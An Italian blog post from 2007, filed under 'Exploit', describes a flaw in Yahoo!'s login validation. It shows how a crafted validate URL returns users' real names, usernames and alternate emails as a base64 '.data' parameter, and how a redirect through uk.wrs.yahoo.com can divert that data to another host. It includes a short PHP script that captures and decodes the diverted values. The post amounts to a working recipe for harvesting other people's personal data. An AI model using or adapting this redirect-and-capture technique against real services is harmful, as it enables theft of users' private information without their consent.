Giuseppe Arcidiacono Blog


Blog Diario Virtuale
Statistiche
  • Views Home Page: 201.752
  • Views Posts: 605.906
  • Views Gallerie: 2.501
  • n° Posts: 192
  • n° Commenti: 84

Ottenere informazioni degli utenti Yahoo!

Quando compiliamo una form per la registrazione di un account Yahoo! ci viene chiesto di riempire i campi riguardanti informazioni personali come il nome e cognome reale, la username che vogliamo utilizzare e un indirizzo email alternativo.
Queste informazioni vengono caricate nella fase di login e trasferite, attraverso la variabile ".data" che contiene una stringa codificata in base64, ai servizi e alle pagine del portale tutte le volte che le visitiamo, fino al logout. Una sorta di "pass temporaneo" che contiene informazioni personali sull'utente loggato.
La richiesta di validazione della sessione con trasferimento della stringa codificata in base64 entra in gioco solo se viene specificata la variabile ".pc" assegnadogli il valore "5134" seguito dall'url della pagina web di destinazione (l'indirizzo deve necessariamente appartenere a Yahoo!).
https://login.yahoo.com/config/validate?.src=ym&.pc=5134&.done=http://www.yahoo.com
Ecco il risultato:
http://www.yahoo.com/?.data=LnlpZCUzZ(stringa-base64)
Attraverso un redirect insolito "uk.wrs.yahoo.com" è possibile dirottare le informazioni verso un'altro indirizzo in modo da registrare i valori trasmessi per poi decodificarli un semplice script php come questo fornito da Matteo:
<?php

if(count($_GET)>0)
{
foreach($_GET as $k => $var)
{
echo $k.' => '.(urldecode(base64_decode(
$var)));
echo '<br />';
}
}
?>

Ringrazio RSnake per essersi preso cura dell'exploit e per aver creato una pagina dimostrativa.











Categoria: Exploit
venerdì, 16 mar 2007 Ore. 00.35
Calendario
maggio 2024
lmmgvsd
293012345
6789101112
13141516171819
20212223242526
272829303112
3456789
Ora e Data
Archivio Posts
Anno 2010

Anno 2009

Anno 2008

Anno 2007

Anno 2006
Mappa
Copyright © 2002-2007 - Blogs 2.0
dotNetHell.it | Home Page Blogs
ASP.NET 2.0 Windows 2003